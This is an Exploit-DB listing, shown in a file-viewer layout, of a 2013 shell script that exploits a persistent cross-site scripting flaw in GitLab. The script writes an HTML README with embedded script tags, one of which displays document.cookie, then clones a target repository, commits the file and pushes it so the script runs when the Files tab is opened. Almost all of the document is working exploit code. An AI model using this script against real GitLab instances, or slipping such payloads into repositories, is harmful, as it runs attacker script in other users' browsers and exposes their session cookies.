268 lines
4.2 KiB
Bash
Executable file
268 lines
4.2 KiB
Bash
Executable file
##Exploit-DB note: Tested commit 10b0b8f1797e6c09b4c063c04a4864ecd31d34f4
|
|
|
|
# Exploit Title: [gitlab persistent xss exploit]
|
|
# Date: [12/16/2013]
|
|
# Exploit Author: [hellok]
|
|
# Vendor Homepage: gitlab.org
|
|
|
|
|
|
#!/bin/sh
|
|
#author hellok
|
|
#for file format ext pwn for gitlab 12/16/2013
|
|
|
|
|
|
tee README.html > /dev/null <<'EOF'
|
|
<!-- Markdown Source -->
|
|
<!--
|
|
-->
|
|
<html>
|
|
<head>
|
|
<title>README. [Generated]</title>
|
|
<style>
|
|
|
|
/* Taken from QLMarkdown: https://github.com/toland/qlmarkdown */
|
|
/* Extracted and interpreted from adcstyle.css and frameset_styles.css */
|
|
|
|
/* body */
|
|
body {
|
|
margin: 20px 40px;
|
|
background-color: #fff;
|
|
color: #000;
|
|
font: 13px "Myriad Pro", "Lucida Grande", Lucida, Verdana, sans-serif;
|
|
}
|
|
|
|
/* links */
|
|
a:link {
|
|
color: #00f;
|
|
text-decoration: none;
|
|
}
|
|
|
|
a:visited {
|
|
color: #00a;
|
|
text-decoration: none;
|
|
}
|
|
|
|
a:hover {
|
|
color: #f60;
|
|
text-decoration: underline;
|
|
}
|
|
|
|
a:active {
|
|
color: #f60;
|
|
text-decoration: underline;
|
|
}
|
|
|
|
|
|
/* html tags */
|
|
|
|
/* Work around IE/Win code size bug - courtesy Jesper, waffle.wootest.net */
|
|
|
|
* html code {
|
|
font-size: 101%;
|
|
}
|
|
|
|
* html pre {
|
|
font-size: 101%;
|
|
}
|
|
|
|
/* code */
|
|
|
|
pre, code {
|
|
font-size: 11px; font-family: monaco, courier, consolas, monospace;
|
|
}
|
|
|
|
pre {
|
|
margin-top: 5px;
|
|
margin-bottom: 10px;
|
|
border: 1px solid #c7cfd5;
|
|
background: #f1f5f9;
|
|
margin: 20px 0;
|
|
padding: 8px;
|
|
text-align: left;
|
|
}
|
|
|
|
hr {
|
|
color: #919699;
|
|
size: 1;
|
|
width: 100%;
|
|
noshade: "noshade"
|
|
}
|
|
|
|
/* headers */
|
|
|
|
|
|
h1, h2, h3, h4, h5, h6 {
|
|
font-family: "Myriad Pro", "Lucida Grande", Lucida, Verdana, sans-serif;
|
|
font-weight: bold;
|
|
}
|
|
|
|
h1 {
|
|
margin-top: 1em;
|
|
margin-bottom: 25px;
|
|
color: #000;
|
|
font-weight: bold;
|
|
font-size: 30px;
|
|
}
|
|
h2 {
|
|
margin-top: 2.5em;
|
|
font-size: 24px;
|
|
color: #000;
|
|
padding-bottom: 2px;
|
|
border-bottom: 1px solid #919699;
|
|
}
|
|
h3 {
|
|
margin-top: 2em;
|
|
margin-bottom: .5em;
|
|
font-size: 17px;
|
|
color: #000;
|
|
}
|
|
h4 {
|
|
margin-top: 2em;
|
|
margin-bottom: .5em;
|
|
font-size: 15px;
|
|
color: #000;
|
|
}
|
|
h5 {
|
|
margin-top: 20px;
|
|
margin-bottom: .5em;
|
|
padding: 0;
|
|
font-size: 13px;
|
|
color: #000;
|
|
}
|
|
|
|
h6 {
|
|
margin-top: 20px;
|
|
margin-bottom: .5em;
|
|
padding: 0;
|
|
font-size: 11px;
|
|
color: #000;
|
|
}
|
|
|
|
p {
|
|
margin-top: 0px;
|
|
margin-bottom: 10px;
|
|
}
|
|
|
|
/* lists */
|
|
|
|
ul {
|
|
list-style: square outside;
|
|
margin: 0 0 0 30px;
|
|
padding: 0 0 12px 6px;
|
|
}
|
|
|
|
li {
|
|
margin-top: 7px;
|
|
}
|
|
|
|
ol {
|
|
list-style-type: decimal;
|
|
list-style-position: outside;
|
|
margin: 0 0 0 30px;
|
|
padding: 0 0 12px 6px;
|
|
}
|
|
|
|
ol ol {
|
|
list-style-type: lower-alpha;
|
|
list-style-position: outside;
|
|
margin: 7px 0 0 30px;
|
|
padding: 0 0 0 10px;
|
|
}
|
|
|
|
ul ul {
|
|
margin-left: 40px;
|
|
padding: 0 0 0 6px;
|
|
}
|
|
|
|
li>p { display: inline }
|
|
li>p+p { display: block }
|
|
li>a+p { display: block }
|
|
|
|
|
|
/* table */
|
|
|
|
table {
|
|
border-top: 1px solid #919699;
|
|
border-left: 1px solid #919699;
|
|
border-spacing: 0;
|
|
}
|
|
|
|
table th {
|
|
padding: 4px 8px 4px 8px;
|
|
background: #E2E2E2;
|
|
font-size: 12px;
|
|
border-bottom: 1px solid #919699;
|
|
border-right: 1px solid #919699;
|
|
}
|
|
table th p {
|
|
font-weight: bold;
|
|
margin-bottom: 0px;
|
|
}
|
|
|
|
table td {
|
|
padding: 8px;
|
|
font-size: 12px;
|
|
vertical-align: top;
|
|
border-bottom: 1px solid #919699;
|
|
border-right: 1px solid #919699;
|
|
}
|
|
table td p {
|
|
margin-bottom: 0px;
|
|
}
|
|
table td p + p {
|
|
margin-top: 5px;
|
|
}
|
|
table td p + p + p {
|
|
margin-top: 5px;
|
|
}
|
|
|
|
/* forms */
|
|
|
|
form {
|
|
margin: 0;
|
|
}
|
|
|
|
button {
|
|
margin: 3px 0 10px 0;
|
|
}
|
|
input {
|
|
vertical-align: middle;
|
|
padding: 0;
|
|
margin: 0 0 5px 0;
|
|
}
|
|
|
|
select {
|
|
vertical-align: middle;
|
|
padding: 0;
|
|
margin: 0 0 3px 0;
|
|
}
|
|
|
|
textarea {
|
|
margin: 0 0 10px 0;
|
|
width: 100%;
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<b>README.</b> - Generated on <b>2013年12月 16日 星期日 16时50分57秒 CST</b> by <b>hellok</b> using <a href="">Markdown</a>. Source is embedded.
|
|
<hr>
|
|
|
|
</body>
|
|
<script>alert(/pwned by hellok,fresh cookie/)</script>
|
|
<script>alert(document.cookie)</script>
|
|
</html>
|
|
EOF
|
|
|
|
|
|
USAGE="$0: <git url>"
|
|
if [ $# -lt 1 ]; then echo -e "Error: git url is required.\n$USAGE" >&2; exit 1; fi
|
|
echo "pwn start"
|
|
git clone $1
|
|
echo $(basename $1 | awk -F "." '{ print $1 }')
|
|
cp README.html $(basename $1 | awk -F "." '{ print $1 "/"}')
|
|
cd $(basename $1 | awk -F "." '{ print $1 }')
|
|
git add *
|
|
git commit -m "1"
|
|
git push
|
|
echo "DONE! Open your gitlab's Files TAB"
|
|
|